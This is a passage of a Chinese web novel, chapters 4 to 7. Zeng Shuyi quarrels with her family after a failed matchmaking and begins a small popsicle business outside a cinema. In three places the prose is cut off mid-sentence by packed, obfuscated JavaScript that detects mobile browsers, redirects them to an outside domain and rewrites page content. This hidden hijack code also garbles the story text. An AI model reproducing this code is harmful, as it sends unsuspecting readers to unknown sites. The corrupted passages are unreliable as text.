门口的刘喜旺看热闹不嫌事大,呵呵道,“庄超媳妇说得对,你王娟舍不得钱,又那么嚣张,我看你本事那么大,搬出去算了。” 王娟快哭了。 曾庆良皱着眉道,“刘大爷,这是我家事!”他的忍耐到了极限,看儿媳妇没那么顺眼,“小娟,去拿钱。” “爸,我……” “拿钱!”曾庆良吼了一声,吓得王娟不敢多说什么,擦着眼泪回房间拿钱。 曾舒仪接过钱,再跟着施英华去医院检查,反正不是她花钱,医生说什么,她都配合。 到了傍晚,施英华送她回家时,家中其他人也回来了。 施英华去看曾庆良,“庆良啊,女儿也是人,别只看重儿子,说不定你以后得指望女儿呢。” 她是妇女主任,在她眼里,儿子女儿都一样。谁要是和她掰扯儿子才能光宗耀祖,她能和人吵半天。 等施英华走后,一大家子都看向曾舒仪。 曾家现在一共十口人,老大曾向平,五年前顶了他妈的工作,和王娟结婚后生下女儿曾玉玲,今年三岁了。 两口子都有工作,按理来说手头会宽裕,但王娟对自己和婆家扣,对娘家非常大方,所以宁愿挤在婆家拮据过日子,也不肯搬出去。 老二曾舒月和她妈一样,做人做事都很能忍,她和曾向平只差一岁,家里把工作给了大哥,她只能下乡去。 她长得漂亮,没少被当地知青骚扰,后来和村里的何东结婚,也生了个女儿。 半个月前携家带口返城,看样子打算在榕城定居下来,但一直没找到工作,夫妻俩在曾家低眉顺眼,大气都不敢喘。 老三就是曾舒仪,从小看着大哥欺负二姐,养成又争又抢的性格,这会见全家都望过来,半点不心虚,自然地去看她妈,“晚上吃啥?” 林家珍瞥了眼她男人,揉着围裙不敢说话。 老四曾向民很得宠,也是家里胆子最大,最任性的一个,笑着凑过来,“三姐,听说大嫂给你钱了,你还管家里吃啥,带我下馆子去呗?” 十几岁的小子特别皮厚,谁都不怕,一心只想着好吃好喝发大财。 “你想得美,那是我的钱!”曾舒仪另有用处呢! 话音刚落,王娟摔门回屋,不想多看曾舒仪一眼。 曾庆良不悦地看着女儿,“现在你高兴了,有什么事不能一家人坐下说?非要闹到所有人都知道,咱家丢了脸,你就满意吗?” 他最在意的,就是今天丢了面子,而不是儿媳和女儿吵架,更不是女儿的相亲对象如何如何。 面对亲爸的指责,曾舒仪早已习惯,平静地道,“爸,是我要闹吗?大嫂不存坏心,我能闹起来?” “还有,她不动手,我更不会跑出去。” “我本来打算等你回来,是大嫂不干啊,你说我让家里丢人,但你就不关心我有没有受欺负,心里委不委屈吗?” 连着几个问题,曾舒仪都是用很平淡的语气在问。 因为她知道,她爸不可能站在她角度思考,更不会在意她难不难受。 “你个死丫头,我和你说话,你还教育我起来?”曾庆良捡起拖鞋要打人。 结果曾舒仪站着不动,“爸,你要动我一下,你信不信,我让巷子里的人今晚继续看咱家热闹?” “你你你……你气死我算了!”曾庆良拿曾舒仪没办法,转头去骂老婆,“都是你养出来的好女儿,其他本事没有,和家人作对的本事一大堆!” 林家珍:“我……”她慢慢低下头去。 曾向民有些不耐烦,“妈,我饿了,咱们还能吃饭不?” 曾向平也从房间出来,说他吃完饭还得去夜校,说完特意看了眼曾舒仪。 大儿子读书是大事,曾庆良摆摆手,示意林家珍去端饭。 林家珍刚去厨房,曾舒月立马跟上帮忙。 曾家晚上吃地瓜饭,一盘丝瓜鸡蛋,还有一盘红烧冬瓜。 鸡蛋很快被曾向民挑走一半,曾舒仪手快,给自己夹了一筷子,又给外甥女夹。 王娟没出来吃饭,在屋里左等右等,都没等到曾家人训斥曾舒仪,气冲冲地出来抱走女儿,带着从国营饭店打包回来的两个菜走了。 曾向平刚吃两口饭,不太高兴地追了出去,“你干嘛去?” “你还会关心我们母女啊?”王娟心里难受极了,“我要被你们曾家人欺负死了,还留在这里做什么?” 她甩开曾向平的手,女儿在她怀里哇哇大哭,头也不回地回娘家去。 曾向平一个头两个大,又快到上夜校的时间,回来冲曾舒仪发火,“你大嫂出于好心才帮你介绍对象,你不满意就算了,干嘛要闹成这样?都是一家人,你斤斤计较,对你有什么好处?” 曾舒仪一边吃饭,一边道,“那大嫂以后把你女儿嫁给会家暴老婆的老男人,你别吭声。” “曾舒仪,你是不是太过分了?”曾向平摔了筷子。 曾舒仪还在吃,不吃饱,夜里肚子饿了,家里可没零嘴吃,“我提醒你一句啊,是你老婆的错,别想让我受气服软。自己的老婆自己哄,要是看我不顺眼,就搬出去呗,正好爸妈觉得家里挤。” 曾向平和王娟是双职工,之前有机会申请一室的职工宿舍,但两个人没申请。 嘴上说孩子太小,需要人照顾,其实是知道,搬出去的开销更大,洗衣做饭还得自己来。王娟算得精,宁愿在婆家挤着住,也不想搬出去单住。 论嘴皮子,全家就曾舒仪最厉害。 曾向平说不过妹妹,咬着牙说了句,“曾舒仪,你也是大姑娘了,多和舒月学学,女人就要有女人的样!” 曾舒仪看了眼一直默默吃饭的二姐,她回来好一会儿,都没听二姐和二姐夫说一句话,她才不要像二姐一样。 吃得差不多,她放下筷子,“女人该有什么样?低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020875|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉顺眼,事事都以你为先是吗?不过大哥,家里是第三次供你复读了,你要再考不上大学,巷子里的人要说钱丢水坑还能听个响,你呢?” 没考上大学,是曾向平心里的一根刺,不懂为啥,明明他成绩中上徘徊,第一年是自愿报高了。但第二年离录取线差了二十几分,得知成绩时,他差点晕过去。 看大哥黑着脸,曾舒仪起身道,“不如大哥你把工作让给我,你安心读书,说不定明年真能金榜题名,你看怎么样?” 占着工作,又想考大学,什么好处都想抓着,曾舒仪冲她大哥甜甜一笑,不要太讽刺。 “做梦吧你!”曾向平气都气饱了,回屋拿了书包就走。 林家珍追了出去,“向平,这个地瓜你拿着路上吃。” “不吃了,我气都气饱了。妈,不是我说你,你们再这样宠三妹,迟早有一天宠出问题来。”曾向平骑上自行车,头也不回地走了。 至于接王娟? 呵呵。 他没那个闲工夫,正好耳根清静几天。 林家珍看着大儿子走了,回去时,二女儿已经在收拾碗筷,叹着气找到三女儿, 曾家一共三间房,曾庆良夫妇一间,曾向平结婚后住一间,还一间隔开给曾舒仪和曾向民住。 因为多了曾舒月一家,不得不在客厅又摆上木板,给曾向民和何东睡。 这会房间里没其他人,林家珍坐到三女儿边上,语重心长地道,“舒仪啊,你爸说不管你了。” “那替我谢谢他。” “你……”林家珍无奈地看着女儿,满脸愁容,“你这样子,以后怎么办啊?不结婚,又没有工作,你总要给自己谋划个出路啊?” 姑娘家大了,总要嫁人,就算她愿意养女儿一辈子,家里其他人能同意吗? 林家珍愁得头都大了。 曾舒仪说她有规划。 “什么规划?”林家珍问。 “我的事,你别管了,还是多管管我弟弟,他一天天地往外跑,别又去派出所捞人。”曾舒仪脱了鞋躺下,不想和她妈多说。 林家珍却不放心,“你别乱搞啊,你爸说了,报纸上都是乱写的。政策不可能说变就变,你要是敢去投机倒把,你爸真会动手揍你。” “你听妈一句劝,咱家没本事给你找好工作,趁着你还年轻漂亮,给自己找个好点的对象。咱们女人,嫁人是第二次投胎,千万要擦亮眼睛,不能像你二姐,随便找个人嫁了……” 耳边的絮絮叨叨太烦人,曾舒仪干脆捂住耳朵。 过了好一会儿,等曾舒月进来,林家珍听家务活都干完了,才起身道,“劝劝你妹妹,别让她以后后悔。” 门被关上后,曾舒月坐在自己床上,好半天才开口,“舒仪,其实……” “二姐,如果你要劝我的话,你先想想,你为什么一定要带胜男回榕城,而不是在乡下务农。你嘴上不说,我心里清楚,胜男胜男,你不是也心有不甘吗?”胜男是曾舒月女儿的名字,曾舒仪第一次听到时,就懂她二姐的意思。 屋内静了下来。 曾舒月把刚才想说的话咽了回去,转而问,“那你打算怎么办?现在这个时候,找工作可不好找。” 她回城半个月,能找的工厂都找了,还托人找关系,结果连个临时工都没找到。厂里的人说,返城知青太多,工厂解决不了那么多工作岗位,很多单位早就招满了。 再这样下去,她带来的那些钱,要坐吃山空了。 曾舒仪坐起来,长眉微挑,笑盈盈地道,“二姐,我知道你想在榕城扎根,但有钱才能立足。你想挣钱吗?” 5. 第 5 章 “我当然想挣钱。”曾舒月携家带口返城,就是想带女儿在榕城扎根,不想女儿在农村长大,以后平庸无为。 但是怎么挣钱呢? 他们夫妇,连工作都找不到。 “二姐,你看你工作也找了一段时间,你觉得还能找到吗?”曾舒仪问。 曾舒月叹气道,“我打算,让你姐夫先回去。妈虽然没说啥,但大哥明里暗里提了几次,说我们来了后,家中生活质量低了很多。还是得挣钱,这会回村里,还能赶上秋收,帮人割稻子干活,多少挣碗饭吃。” 总比一家子都在榕城吃老本的好。 “我大哥还好意思说这话,家里就他花最多钱,你们的生活费,也是跟着他们夫妇俩交。总不能他们一人五块,让你们一人十块吧?” 曾舒仪想骂真不要脸,但还是忍住了,把话题拉回重点,“二姐,现在工作是真不好找。好不容易多出一个岗位,等咱们知道时,人家早已内定,根本轮不到我们。你知道巷子里的王朝阳吗?” “知……知道。” “我今天相亲时,看到他在卖鱼丸,一顿饭的功夫,全卖完了。” 说到挣钱,曾舒仪眼睛亮晶晶的,“以前王家可是巷子里最穷的,最近一个月,王家隔三差五买鱼买肉,王婶的气色都好了许多。” 曾舒月听明白了,赶忙摇头,“不成的,爸说了,我们要是敢干个体经济,会打死我们。而且买卖哪里是说做就做,要是亏了怎么办?” “做生意嘛,总是有挣有亏,这是正常。”曾舒仪道。 “不行不行,我就那么点钱,不能亏了。”曾舒月连连摆手,反而劝曾舒仪别干,“舒仪,你别犯傻。投机倒把的事不能干,咱爸说得对,政策不可能说变就变,可能马上又改回去。你老老实实听爸妈的,要么找个工作,要么找个好对象。” 得了,曾舒仪白浪费口水。 这时外甥女开门进来,曾舒仪和小孩儿笑了笑,躺下不准备多说了。 她二姐这个人,还是太软弱,和二姐合伙,这条路走不通。 要不是她自己没本钱,也不至于这样愁。 挣钱多好啊,从恢复高考后,越来越多挣钱的门路。 有了钱,才能给自己买雪花膏,吃鱼吃肉,一个人住一间房。 没有钱,就像曾舒仪现在这样,吃饭做事都要看人脸色,更没有自己的隐私。 曾舒仪想过好日子,做有钱人。 既然劝不了二姐,她再寻其他出路。 家里没有电视机,关了灯便睡觉,曾舒仪习惯了早睡早起,很快进入梦乡。 另一边的王家,却是一家子坐在客厅里。 王娟抱着熟睡的女儿,泪眼汪汪,“爸妈,他们曾家太过分了,我好心替他们办事,最后还落了个刻薄小姑子名声。医药费加赔偿,去了我十五块啊!” “啥玩意?”王志刚瞪大眼睛,不可思议地看着女儿,“你小姑子要那么多钱,你公婆都没说什么?” “就是我公公让给的!”王娟越说越气,那可是十五块钱,够她交一个半月生活费了。 “这个曾庆良,真是太过分了,怎么能这样欺负人?” 王志刚道,“相亲不成就不成,还讹钱起来,明天我去找他,总要给我们一个说法!” 田小花看看爱人,又看看女儿,“小娟,你大伯那,知道不能成了吗?” 当初女儿可是信誓旦旦说能成,现在闹成这样,别想了,曾舒仪肯定不会再点头。 王娟不敢去大伯家,摇了摇头,“我直接回来了。”她吃了大伯不少东西,今天还打包两份菜,结果让巷子里的人都知道堂哥打女人。 她现在最怕大伯家遇到巷子的人,那大伯母一定不会放过她。 “志刚,明天你和大哥说一声,小娟已经尽力了,是曾舒仪没眼光。”田小花说着打个哈切,“还有你小娟,再吵再闹,你现在都是曾家的人。你公婆怎么看你不重要,你得让向平站在你这边,他们曾家不是最看重向平么,有向平帮你,我不信你小姑子斗得过你。” 说来说去,还是女儿手段不够厉害,“妈跟你说过的,日子再怎么过,都要把男人得心笼络住。等向平来接你时,别耍脾气,老老实实和他回家去。你二弟已经和女方说好彩礼,你得帮着出一半。” 王娟结婚前,就一直上交工资,婚后更不必说,每个月还得给十块钱孝敬。 现在她弟弟要结婚,她这个当大姐的,自然应该出钱出力,她没觉得有什么。 让王娟最气的,还是不识抬举的曾舒仪。 还有大伯家不好交代。 她大伯母,真不是个省油的灯。 愁了一晚,想着曾向平肯定会早早来接自己,心里虽然憋着气,但她妈说得对,还是得回曾家。 不然她不在家,她婆婆有什么好的都给其他人吃,她岂不是亏了? 结果第二天早上左等右等,王娟都没等到曾向平接她。下班回来时,想着曾向平该来了,一直到天黑,也没等到曾向平。 这下王娟更气了。 她二弟王卫国抓了把瓜子站在门口,往远处看了看,还是没看到他姐夫,回来时一副看戏口吻,“姐,都这个点了,姐夫肯定不会来,他不想和你过了?” “你说什么呢?”王娟往门外看了眼,有些失望,“你姐夫不是那样的人,说不定今天有事,明天肯定会来。” 嘴上这么说,心里犯嘀咕,怪曾向平不早点来接。明天曾向平来了,她肯定要骂两句。 王娟回屋里,问她爸,找她公公没。 “哼,你公公那个人,就是无赖。我和他讲半天大道理,他却说小辈的事,他不好插手。他不好管,怎么让你给钱赔偿?” 王志刚撇嘴骂人,“还有向平,他怎么还不来接你?他想不想过日子了?” 王娟心里也急,她只是想发发脾气,让曾家人害怕,没想离婚。 怎么回事,曾向平真不想和她过了吗? 此时此刻的曾家,林家珍在劝曾向平接王娟。 曾向平刚吃饱,回屋拿了书包,“她要闹脾气,就让她在娘家待几天。我白天上班,晚上去夜校,哪里有时间哄她?过几天吧,等周末再说。” 说完他骑上自行车,出发去夜校。 曾向平不想去接王娟,还有一个原因,他怕巷子里的邻居看到王娟,就想到王娟和妹妹的事。 过个几天,巷子里的人不记得这个事,再把人接回来,也就不会谈论这个事了。 曾向平骑着自行车,出了巷子后,差点撞到一个人,“谁啊?不长眼睛吗?” 抬头看到是三妹,曾向平皱着眉,“我说舒仪,你长本事了啊,晚饭不回来吃,天黑了才回家,你干嘛去了?” 曾舒仪没好气道,“我的事不用你管。” 曾舒仪转身进了巷子,进门前,先趴在窗户上看她爸不在客厅,才蹑手蹑脚地开门进去。 不过还是撞上她弟弟。 “爸妈,我三姐回来了!爸,你刚刚不是说要打断我三姐的腿,快来啊!”曾向民笑呵呵地大喊。 曾庆良立马冲出房间,“你干嘛去了?饭不回来吃,你想干嘛?是不是和什么不三不四的人在一起?” “爸,我和妈说过了,去找我同学。路上发现没钱坐车,才一路走回来。”曾舒仪说起谎话来,脸都不红,赶忙给她妈使了个眼色。 林家珍怕爱人真打女儿,赶忙道,“是啊,舒仪说过的,是我刚才忘了。”其实没有,但她习惯为每个孩子打掩护。 “这事都能忘?”曾庆良凶道,“你这脑子啊,不用拿去烧了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020876|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他又去看女儿,“和什么同学,男的女的?” “女的,肯定是女生,就是来过咱家的小黄,她家里不是给她找了工作么,我想着问问她,有没有门路。”曾舒仪笑呵呵地,“爸妈,你们早点休息,我也回屋了。” 转身进了房间,曾舒仪才松口气,她是去找门路了,不过是找做生意门路。 不过曾向民真找打,出去洗脸时,看弟弟蹲在院子里刷牙,她抬脚踹了过去。 “三姐!你干嘛!” “以后你嘴再那么多,我揍到你哭都哭不出来!”曾舒仪握紧拳头,弟弟比她小三岁,从小都被她揍。 曾向民撇着嘴,“你就会欺负我,有本事你揍我大哥大嫂去?” “少管我的事,还是顾好你自己吧。小小年纪被抓到派出所,还和一些二流子混!”曾舒仪洗完脸,用水冲冲脚,她困了。 “他们是我朋友,才不是二流子。你别看不起人,总有一天我会挣大钱,到时候让你给我端洗脚水!”曾向民很有志气地道。 曾舒仪笑了,“要我给你洗脚可不便宜,你小子有本事先挣到钱再说。” 她哼了一声,并不把弟弟的话放心上。她弟弟被家里宠着长大,没吃过什么苦,想法又天真,被人坑进派出所,还死活不肯供出对方,说大不了被关几天,朋友的义气不能丢。 回屋时,二姐已经哄着外甥女睡下,曾舒仪刚关灯,听她二姐喊了句。 “舒仪。” “嗯?” “我知道你没去找同学,我下午看到你了,你和王朝阳在一起,你是想和他干吗?还是……还是你在和他搞对象?” 房间里只有窗台前有光亮,曾舒仪没想到会被二姐撞见,她实话实说,“我没和王朝阳搞对象,我也没想和他干,你没看报纸上写么,个体经济不允许雇工,只能家庭制。” “那你找他干嘛?” “和他了解下情况呗,顺便问问,营业执照怎么办。”曾舒仪翻了个身,面对墙躺着,“二姐,你别问了。我是铁了心要挣钱,不然我连生活费都给不起,就要听从爸的安排,真嫁给一个不认识的人。” 顿了顿,她补充道,“我知道你不信我能干起来,但好的坏的,总得让我试试,你说是吧?” 曾舒月陷入纠结中,傍晚想和家里说,但又忍了下来,“舒仪,我是担心你。” “我知道,咱们家里啊,就你会关心我。所以我才和你说这些,二姐,你信我一次,我会干起来的。而且我也没啥好亏的,只有大嫂赔偿给我的十块钱,真要是亏了,我听你的话乖乖去相亲,可以吧?”曾舒仪道。 曾舒月拿不定主意啊,觉得她爸说得对,又不想打击妹妹。 想不出什么好,什么不好,曾舒月只能点点头,“行吧,那你记住,一定要遵纪守法,不然你被抓到派出所去,爸不可能像捞向民一样捞你的。” 她们姐妹都知道,爸很偏心。 “嗯嗯,我知道的。”曾舒仪让二姐放心,“回头我挣了钱,我给胜男买新衣服,给你也买,就不给大哥大嫂买,气死他们!” 想到这一天,曾舒仪忍不住哈哈笑了,翻了个身,很快进入梦乡。 第二天一早,曾舒仪去厨房拿了个地瓜要出门。 “舒仪,你去哪啊?”林家珍系着围裙,追到厨房门口。 “去看看工作。”曾舒仪还是用昨天的理由。 “那也吃完早饭再去,妈今天做了豆芽煎饼,你不是爱吃这个吗?”林家珍道。 曾舒仪咽下口水,“你帮我留一块,等我回来吃。我和小黄约好时间,去迟了不好。” 她是真约了人,但不是小黄。 曾舒仪匆匆地跑出巷子,又拐过一条街,看到推着三轮车的王朝阳,笑着跑过去,“王朝阳,我来了!” 6. 第 6 章 曾舒仪帮着王朝阳把三轮车推到十字路口,听王朝阳手中两块铁皮互相碰撞,打出“叮当叮当”响声,就有人过来问鱼丸怎么卖。 “大的五分钱一个,小的五分钱三个,葱花蒜头酱不要钱,您看看要几个?” 王朝阳叫卖特别熟练,听到顾客要一毛钱小鱼丸,笑着说声好嘞,利落地把鱼丸丢进锅里。 王朝阳用的是煤炉,把煤炉下边口子拉大一点,火就烧更旺。 等鱼丸煮熟的时间,王朝阳又开始叫卖,“肉片鱼丸,正宗的福鼎肉片和榕城鱼丸,好吃又便宜,还不要票!” 最后一句是关键,现在去国营饭店吃饭还要票,但在他这里不用。 不要票,价格还比国营饭店便宜一点,客人才不管是不是投机倒把,反正他们买了就走。 若是看到有投机倒把办公室的人,跑就是了,抓也是抓卖鱼丸的。 曾舒仪帮着王朝阳卖了一早上,过了九点半,便没什么客人。 王朝阳骑着三轮车,到一个偏僻没人的地方,给曾舒仪煮了碗鱼丸,就把煤炉给灭了。 曾舒仪不解,“你不是有证吗?怎么还要躲?” “有证是有证,但现在做生意的人太少,人家知道你有证,还是会来查你。有的是古板老古董,有的是想索要好处,你以为那些人是真心为……嗯嗯办事?” 王朝阳往头上指一指,呵呵一声,“都是为了给自己拿好处,没一个好东西。你快吃,鱼丸冷了就不好吃。” 鱼丸弹牙,里边的馅料鲜中带甜,汤是用鱼骨头和猪骨头熬出来的高汤,撒上一把小葱花和胡椒粉,入口是鲜味,随后是胡椒带来的微辣,好吃得很。 曾舒仪吃完鱼丸,夸道,“你生意好是有道理的。” 昨儿曾舒仪找到王朝阳,想问问个体经济的事,不过她去的不凑巧,赶上王朝阳最忙的时候,两人便约着今天见面。 “我妈在渔村长大,她做鱼丸的手艺,巷子里没人比得上。”王朝阳偏头去看曾舒仪,阳光透过树梢,星星点点地落在曾舒仪脸上,很是好看,“你说你也想做生意,你想过做什么生意吗?” 曾舒仪说还没想好。 她没有厨艺,做吃食肯定不行。 王朝阳坐在三轮车座椅上,嘴里叼了根狗尾巴草,“现在的小生意,总体有四大类,食品类、日用杂货、服务和修理类、流动商贩。你想想,你可以干什么?” 见曾舒仪在思考,王朝阳又道,“□□的时候,不仅要贴你的照片,还要写清楚是什么行业。对了,办一张证下来,并不便宜,得三十块钱。当初为了凑这个钱,我东拼西凑,给我哥和姐都跪下了,最后承诺连本带利地还,才同意借给我。” 曾舒仪身上,统共十块钱。 “而且□□需要时间,快的话大半个月,慢的话两个月都有可能。” 王朝阳身子弯下来,“舒仪,真干起来并不简单,你还是女人,很多人会欺负你的。” “那我也要干,没钱的日子,更让人看不起!”曾舒仪道。 “你也不一定要自己干,找个人一起呗?”王朝阳脸颊微红。 报纸写得很清楚,不许雇工,更不许合伙,只能从个人到家庭。 曾舒仪尴尬地打哈哈,“找人一起合伙,万一被举报,我爸真会打死我。今天谢谢你啊,回头我挣到钱再请你吃饭。”她起身和王朝阳说再见,趁着她现在没事做,多跑一些地方,多去看看。 王朝阳“诶”了一声,看着曾舒仪的背影撇撇嘴,他现在有钱了呀。 曾舒仪和王朝阳分开后,去了榕城最热闹的几个地方,一整天跑下来,腿都快走断了,人却特别有精神。 因为她有了方向,也就有了盼头。 回家时,刚好到吃饭的点。 曾家晚上吃线面,林家珍放了点小虾米,还有空心菜。味道不算特别好,但加了小虾米的汤底,细细品尝,也能吃出一些鲜味。 曾庆良还在生曾舒仪的气,看到曾舒仪也不说话,反而让这顿饭吃得很安静。 曾舒仪去洗碗时,她妈从橱柜里拿出一个盘子。 “豆芽煎饼,你回来那么迟,都软了,凑合吃吧。”林家珍说着往窗外看了眼,小声道,“快点吃,别让你弟弟知道,不然他又要闹。” 早上女儿说留一块,她便记着,吃晚饭时不敢拿出来,只能这会给女儿吃。家里孩子多,总是会比较,她这个当妈的不容易。 曾舒仪愣了下,马上笑了起来,“谢谢妈。”三两口吃完豆芽煎饼,虽然不如刚出锅时香,但她吃得高兴。 “你乖乖的,少让妈操心就好。”林家珍拍拍女儿的背,“你跑出去一天,都干嘛呢?” “我去看小黄的工作,她说可以帮帮我,我就和她多待一会。”曾舒仪还是拿小黄当借口。 “真的啊?”林家珍惊喜道,“她在什么单位?也能让你进去吗?什么时候?” “妈,淡定,八字没一撇呢。”曾舒仪也往窗外看了眼,“这事你别和其他人说,万一不成,我又要被人笑话。你放心吧,我是你女儿,我不会做乱七八糟的事情。” 不能说她要做生意,至少挣到钱之前不行。等她手里有钱,也就不怕了。 林家珍点头说好,帮着把厨房收拾好,天也黑了。 两个人到客厅时,看到曾舒月在客厅铺床,曾舒仪立马回房间,看到躺下的曾向民,揪着耳朵问怎么回事。 “疼疼疼!三姐你快松手!” 曾向民捂着耳朵坐起来,“二姐夫都走了,这床本来就是我的。睡了大半个月木板,我哪哪都不得劲,我和二姐说想回屋睡,她都没意见,你干嘛那么大火气?” “这话你也好意思提!”曾舒仪又捶了两拳,“二姐是女的,还带了胜男,你让她们睡客厅,你怎么好意思?” 她推着弟弟出去,“你好歹是个男的,有点男子气概行不行?” “我……我……” 曾舒仪从不让着弟弟,小时候长辈会说弟弟更小,她是当姐姐的,吃的要让,被打也要让…… 凭啥? 她弟弟又不是多懂事可爱的小孩,她才不让任性的捣蛋鬼! “二姐,你带着胜男进屋,别听曾向民的。”曾舒仪拉着姐姐进屋,一只脚踩在门框上,“曾向民,我给你出个主意,你真想睡床,晚上和大哥睡去。本来你就和大哥住一间,后来大哥结婚,你才被赶出来。今天大嫂不在,随便你住。” “哼,你就知道欺负我,睡就睡,我怕谁?”曾向民瞪了眼他三姐,抱着被褥去大哥屋里。 曾向平去夜校,这会不在家。曾向民连脚丫子都没洗,脱了鞋就躺下。 隔壁的曾舒仪哼了哼,恨铁不成钢地看着二姐,“这里也是你的家,你干嘛让着向民?要是你自己就算了,胜男那么小,夜里不睡好,怎么长高长大?” 曾舒月:“我……” “行了,你不用说了。你和妈一样,说的都是一些让人生气的窝囊话,劝你硬气点,都是在浪费我口水!”曾舒仪关了灯,“睡觉!” 她今天跑一天了,困得很。只是刚闭上眼睛,一只软软的小手拍了拍她。 “三姨,我想和你睡。”何胜男光着脚丫,小短腿蹬了蹬,试了几次,都没爬上床,“三姨,抱……” 曾舒仪一把捞起外甥女,替她拍拍脚底,“和我睡可以,但是不许尿床,夜里想尿尿,记得喊我,不然我让你和你四舅睡,一整晚都要闻他臭脚丫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020877|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “知道啦三姨。”何胜男往三姨怀里靠过去,三姨身上软软的、香香的,她喜欢和三姨睡觉。 她们这屋睡得香甜,半夜听到隔壁叫了一声,曾舒仪知道是大哥回来,翻了个身,拍拍外甥女,继续睡。 而曾向民同样翻了个身,眼睛都没睁开,“哎呀大哥,你别推我,大嫂又不在,我陪你睡几天。” “你……你脚都没洗!”曾向平捏着鼻子,“而且这是我房间,你怎么可以没经过我同意,就来睡觉?” “什么你的我的?这个家任何东西都是爸妈的,以前我都睡这个屋,我现在也要睡这里。你要是不乐意闻我脚丫子味,你去睡几天客厅,正好咱们换换。” 曾向民被折腾得清醒一点,冲他大哥嘿嘿笑下,“我三姐说得对,总不能什么好处都让你享了,我们其他人苦哈哈吧?” 曾向平在屋里待不下去,去拍他爸妈的门。 曾庆良听说后,不以为意,隔着门道,“向平啊,你弟弟想睡几天床,你们一起睡呗。别吵了,明天还得上班。” 刚说完,他就打起呼噜,两个都是他儿子,他才不会为了这点小事半夜起来。 但曾向平实在受不了曾向民的臭脚丫味,纠结半天,还是在客厅睡木板床。 木板床硬得硌人,院子里有个什么动静,客厅都能听得一清二楚,曾向平翻来覆去,失眠到天亮。 而曾向民是一夜无梦到天亮,起来时还闻了闻自己的拖鞋,“不臭啊,大哥真是矫情!” 他到院子里洗漱,看到大哥眼底黑青,哈哈笑了起来,“大哥,你现在知道木板床不好睡了吧?你心疼下弟弟我,和大嫂搬出去呗,你们又不是没条件。你们搬走,我自己睡一屋多好。” 没睡着的曾向平看谁都不顺眼,咬着牙道,“你做梦!” 今天他就去接王娟回来! “诶大哥,你怎么这样?”曾向民心里不服气,哼哼地去找爸妈告状。 曾庆良不想大儿子搬走,一家子住在一起,他才有话语权,听小儿子叽叽喳喳一直吵,吼了句,“闭嘴吧你,大早上吵吵吵,我耳朵都要聋了。” 曾向民撇撇嘴,不敢和他爸硬刚,转而去看他三姐,寻求支援,“三姐,你不觉得我说的有道理吗?” 曾舒仪在帮忙摆碗筷,“有道理的话多着呢,爸妈让你好好读书,你听吗?” “三姐,你干嘛说到我头上?”曾向平气鼓鼓的,拿起筷子想吃饭,又被她三姐拍了下。 “没规矩,妈都没上桌,不许吃。”曾舒仪转头去看大哥,坏坏地笑了下,“大哥,我觉得向民说得有道理。你们搬出去,能自己当家做主,多好啊。” 说完她又摇头,“不过住家里,有人做饭洗衣,伙食费随便意思一下,好处太多了,要我也不搬走。” 曾向平刚刚也拿起筷子,听妹妹骂弟弟没规矩,才注意到他妈还没上桌。 “三妹,我到底哪里得罪你,你要天天挤兑我?”曾向平憋了一肚子气,狠狠地瞪着曾舒仪。 曾舒仪挑下眉头,看她妈来了后,才开始盛稀饭,“那就多了,你心里都清楚,别占着好处又想道德绑架我。等我哪天心里痛快了,我就不说你。” “行了!”曾庆良皱眉道,“真不懂我上辈子造什么孽,生了你们几个祖宗,也不怕被人笑话!” 一家之主发火了,曾向平只能把话咽回去,但他更打定主意不能搬走。 等他考上大学,顾不上妻女,家里还能帮忙照顾,有便宜不占王八蛋,他又不蠢。 早上稀饭配咸菜,曾舒仪吃了两大碗,等上班的人都走后,她也出门去。 经过昨天一天的考察,她想好先做什么生意,这会去进货。 7. 第 7 章 第一天做生意,曾舒仪充满动力的同时,又很紧张。 她先到电影院门口,打听今天有什么场次,再去买一箱冰棍,用王朝阳送的泡沫箱装着,到电影院门口叫卖。 “绿豆冰棍,三分钱一根,五分钱两根。大哥,要不要来两根?” “天那么热,看完电影,正好尝尝呗?” “卖冰棍喽!” 电影院门口,除了曾舒仪,还有其他小摊贩,有卖汽水的,还有卖茯苓膏等。 但他们,都没有曾舒仪叫卖得大声。 曾舒仪一点都不觉得不好意思,看到电影散场出来人,立马抱着泡沫箱跑过去 一箱冰棍三十根,出来一场人,好的时候能卖二十根,差的话也能卖十根。电影院今天一共放五场电影,曾舒仪傍晚回家时,一共卖了两箱。 泡沫箱不能带回家,她偷偷藏在王朝阳家院子里。 到家时,她妈正在炒菜,喊了句她回来了,回屋关门数钱。 冰棍本钱是一根两分钱,一共卖了六十根,曾舒仪的利润有四毛八。 看着桌上的零钱,曾舒仪心里乐开了花。 她突然觉得,做生意也没那么难了。 